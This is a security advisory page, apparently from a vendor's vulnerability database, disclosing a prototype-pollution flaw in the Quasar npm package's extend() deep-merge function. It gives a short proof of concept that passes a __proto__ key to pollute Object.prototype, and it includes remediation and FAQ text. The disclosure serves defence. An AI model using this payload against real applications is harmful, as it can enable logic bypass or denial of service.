Summary
Quasar: Prototype pollution in the extend() utility
[email protected], the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public extend() utility exported from the package root.
When extend(true, target, source) is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as __proto__, constructor, or prototype.
This can allow attacker-controlled properties to be written to Object.prototype.
Details
Affected source:
src/utils/extend/extend.js
Distributed files include:
dist/quasar.server.prod.js
dist/quasar.server.prod.cjs
dist/quasar.client.js
The package root publicly exports extend. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own __proto__ property, the merge can descend into the prototype object and assign attacker-controlled properties onto Object.prototype.
PoC
rm -rf /tmp/quasar-extend-pp-poc
mkdir /tmp/quasar-extend-pp-poc
cd /tmp/quasar-extend-pp-poc
npm init -y >/dev/null
npm install [email protected] [email protected] >/dev/null
cat > hack.mjs <<'JS'
import { extend } from 'quasar';
delete Object.prototype.polluted;
extend(true, {}, {
['__proto__']: {
polluted: 'yes'
}
});
console.log(({}).polluted);
delete Object.prototype.polluted;
JS
node ./hack.mjs
Observed output:
yes
Expected output:
undefined
Impact
This is a prototype pollution vulnerability.
If an application passes user-controlled or partially user-controlled objects into extend(true, ...), an attacker may be able to pollute Object.prototype in the same JavaScript process.
Depending on how the polluted property is later consumed, this may lead to logic bypass, unsafe default option injection, denial of service, or other application-specific security impact.
GHSA-3R53-75J5-3G7J has a CVSS score of 5.6 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.22.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Reject or safely ignore dangerous keys before assignment, including:
__proto__
prototype
constructor
The merge implementation should also avoid descending into prototype-related properties during recursive merge.
Frequently Asked Questions
- What is GHSA-3R53-75J5-3G7J? GHSA-3R53-75J5-3G7J is a medium-severity security vulnerability in quasar (npm), affecting versions <= 2.21.4. It is fixed in 2.22.0.
- How severe is GHSA-3R53-75J5-3G7J? GHSA-3R53-75J5-3G7J has a CVSS score of 5.6 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of quasar are affected by GHSA-3R53-75J5-3G7J? quasar (npm) versions <= 2.21.4 is affected.
- Is there a fix for GHSA-3R53-75J5-3G7J? Yes. GHSA-3R53-75J5-3G7J is fixed in 2.22.0. Upgrade to this version or later.
- Is GHSA-3R53-75J5-3G7J exploitable, and should I be worried? Whether GHSA-3R53-75J5-3G7J is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-3R53-75J5-3G7J is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-3R53-75J5-3G7J? Upgrade
quasarto 2.22.0 or later.